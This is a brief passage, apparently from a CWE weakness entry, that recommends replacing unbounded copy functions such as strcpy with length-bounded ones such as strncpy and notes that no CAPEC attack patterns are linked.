Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.
No CAPEC attack patterns related to this CWE.